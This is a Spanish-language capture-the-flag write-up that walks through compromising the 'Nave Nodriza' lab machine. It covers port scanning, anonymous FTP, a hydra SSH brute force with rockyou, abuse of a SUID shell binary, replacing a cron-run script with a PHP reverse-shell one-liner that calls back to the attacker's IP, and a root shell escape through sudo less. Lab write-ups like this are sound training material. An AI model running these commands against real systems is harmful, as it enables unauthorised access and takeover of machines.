Skip to content
Mnohh022
Go back

Nave Nodriza

logo

Table of contents

Open Table of contents

Enumeración

La máquina Nave Nodriza tiene la ip 10.0.2.33 y nuestra máquina tiene la ip 10.0.2.3

Descubrimiento de Puertos

Vamos a empezar enumerando todos los puertos abiertos de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.

nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 10.0.2.33

Nmap scan report for 10.0.2.33
Host is up (0.00026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.0.2.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Dec 09 02:32 archivos_publicos
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.65 (Debian)

Puerto 21 (FTP)

El usuario anonymous está habilitado así que nos conectamos con él al servicio.

ftp -a 10.0.2.33

ftp> ls
229 Entering Extended Passive Mode (|||8076|)
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 09 02:26 .
dr-xr-xr-x    3 65534    65534        4096 Dec 09 02:26 ..
drwxr-xr-x    2 65534    65534        4096 Dec 09 02:32 archivos_publicos
226 Directory send OK.

ftp> cd archivos_publicos
250 Directory successfully changed.

ftp> ls 
229 Entering Extended Passive Mode (|||23438|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             622 Dec 09 02:32 manifiesto_clase_alpha.txt
226 Directory send OK.

Tenemos un directorio archivos_publicos y en él un archivo de texto que nos descargamos.

El archivo manifiesto_clase_alhpa.txt contiene:

[NAVE NODRIZA - BITÁCORA DE COMUNICACIÓN]

Mensaje para el Capitán Jano:

"Capitán, confirmo el descenso de emergencia en Titán. La tripulación fue reubicada en grupos de trabajo basados en su rango. Lamentablemente, el protocolo de seguridad falló en las bajas jerarquías. La contraseña de mi terminal de acceso (SSH) fue comprometida; es un término de uso muy común aquí, lo encontré en un listado de seguridad de la vieja Tierra. Debe ser reemplazada inmediatamente. Necesito que el equipo de Analistas me abra un canal de escalada urgente para recuperar el control de mi sesión."

Atentamente,
excluido

Explotación

Leyendo el archivo encontramos un posible usuario, excluido e información acerca de que su contraseña del servicio SSH está en una wordlist, intuímos que el rockyou.

Vamos a hacer un ataque de fuerza bruta con hydra contra el servicio SSH con ese usuario y wordlist

hydra -l excluido -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.33 

[DATA] attacking ssh://10.0.2.33:22/

[22][ssh] host: 10.0.2.33   login: excluido   password: password

1 of 1 target successfully completed, 1 valid password found

Acceso SSH

Excluido

Conseguimos las credenciales del usuario excluido, así que nos conectamos por SSH con ellas.

ssh excluido@10.0.2.33
***************************************************
* ADVERTENCIA: CONEXIÓN A NAVE-NODRIZA ACTIVA   *
* PROTOCOLO ALPHA. ACCESO RESTRINGIDO.          *
***************************************************
excluido@10.0.2.33's password: 

excluido@TheHackersLabs-NaveNodriza:~$ ls -la
total 36
drwxr-xr-x 2 excluido excluido 4096 ene 24 22:18 .
drwxr-xr-x 7 root     root     4096 ene 24 23:14 ..
-rw------- 1 excluido excluido  766 ene 30 03:02 .bash_history
-rw-r--r-- 1 excluido excluido  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 excluido excluido 3550 dic  9 01:14 .bashrc
-rw-r--r-- 1 root     root      236 ene 24 22:09 CAPITULO_1_FTP.txt
-rw-r--r-- 1 excluido excluido  269 ene 24 22:14 Pista_CAPITULO_2.txt
-rw-r--r-- 1 excluido excluido  807 abr 23  2023 .profile
-rw------- 1 excluido excluido   42 dic  9 03:55 user.txt

Si revisamos el archivo Pista_CAPITULO_2.txt:

[CAPÍTULO 2: ESCALADA DE RANGO]
-----------------------------
Un comando de uso frecuente en el sistema fue modificado por el equipo de Analistas de Datos para ejecutar tareas con su identidad.
Necesito encontrar el archivo y, debo usarlo para entrar a sus sistemas.

Escalada de Privilegios

Analista

Esta pista nos sugiere un archivo que nos proporciona una shell como otro usuario, por lo que vamos a buscar archivos con permisos SUID

find / -perm -4000 2>/dev/null

/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/opt/nave_nodriza_herramientas/ejecutor_shell

Vemos un ejecutor_shell, por lo que lo ejecutamos y obtenemos una shell como el usuario analista

excluido@TheHackersLabs-NaveNodriza:~$ /opt/nave_nodriza_herramientas/ejecutor_shell
analista@TheHackersLabs-NaveNodriza:~$ whoami
analista

Investigador

Ahora si revisamos el directorio de este usuario vemos un script de bash, procesar_datos.sh, dentro de log_temporal_sistema

analista@TheHackersLabs-NaveNodriza:~$ ls -la /home/analista/
total 28
drwxr-xr-x 3 analista analista 4096 ene 24 22:43 .
drwxr-xr-x 7 root     root     4096 ene 24 23:14 ..
-rw-r--r-- 1 analista analista  220 abr 23  2023 .bash_logout
-rw-r--r-- 1 analista analista 3550 dic  9 01:14 .bashrc
-rw-r--r-- 1 analista analista  481 ene 24 22:43 CAPITULO_2.txt
drwxrwxrwx 2 root     root     4096 may  9 09:51 log_temporal_sistema
-rw-r--r-- 1 analista analista  807 abr 23  2023 .profile

analista@TheHackersLabs-NaveNodriza:~$ ls -la /home/analista/log_temporal_sistema/
total 12
drwxrwxrwx 2 root     root     4096 may  9 09:51 .
drwxr-xr-x 3 analista analista 4096 ene 24 22:43 ..
-rwxr-xr-x 1 analista excluido   66 may  9 09:51 procesar_datos.sh

Este script no contiene nada interesante pero vemos que el directorio log_temporal_sistema tiene permisos 777 por lo que nos da a entender que este script es ejecutado por algún usuario.

Vamos a emplear la herramienta pspy64 para ver si este script se está ejecuntado cada cierto tiempo y por quien.

Para pasarlo a la máquina vamos a usar scp y las credenciales de SSH del usuario excluido

scp pspy64 exluido@10.0.2.33:/tmp/pspy64

Nos convertimos un momento en excluido para darle permisos de ejecución al pspy64 con chmod +x y lo ejecutamos.

analista@TheHackersLabs-NaveNodriza:~$ /tmp/pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


2026/05/09 10:00:00 CMD: UID=1003  PID=1018   | /bin/sh -c /home/analista/log_temporal_sistema/procesar_datos.sh 

Tras esperar un poco vemos que el script es ejecutado con sh por un usuario con UID 1003, se trata del usuario investigador.

Como el directorio en el que está el script tiene permisos 777 podemos borrar el script y crear un nuevo script que nos mande una reverse shell.

Al ser sh, la típica reverse shell nos puede dar problemas, por lo que vamos a usar php.

Borramos el script procesar_datos.sh

Y creamos un nuevo procesar_datos.sh que contenga:

php -r '$sock=fsockopen("10.0.2.3",443);exec("sh <&3 >&3 2>&3");'

Le damos permisos de ejecución con chmod +x y nos ponemos en escucha en nuestra máquina con netcat

nc -nlvp 443

Esperamos y conseguimos una shell como investigador. Sólo nos queda realizar el tratamiento de la TTY.

Root

Revisamos los permisos sudoers del usuario investigador.

investigador@TheHackersLabs-NaveNodriza:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-NaveNodriza: Nombre o servicio desconocido
Matching Defaults entries for investigador on TheHackersLabs-NaveNodriza:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User investigador may run the following commands on TheHackersLabs-NaveNodriza:
    (root) NOPASSWD: /usr/bin/less

Observamos que podemos ejecutar el binario de less como el usuario root sin proporcionar contraseña.

Por lo tanto,

sudo /usr/bin/less /etc/hosts

!/bin/bash

Y nos convertimos en root

root@TheHackersLabs-NaveNodriza:~$ ls -la /root/
total 28
drwx------  4 root root 4096 ene 24 23:19 .
drwxr-xr-x 18 root root 4096 dic  9 01:04 ..
lrwxrwxrwx  1 root root    9 ene 24 23:19 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 abr 10  2021 .bashrc
-rw-r--r--  1 root root   47 dic  9 03:42 flag.txt
drwxr-xr-x  3 root root 4096 oct 16  2024 .local
-rw-r--r--  1 root root  161 jul  9  2019 .profile
drwx------  2 root root 4096 oct 16  2024 .ssh

Share this post on: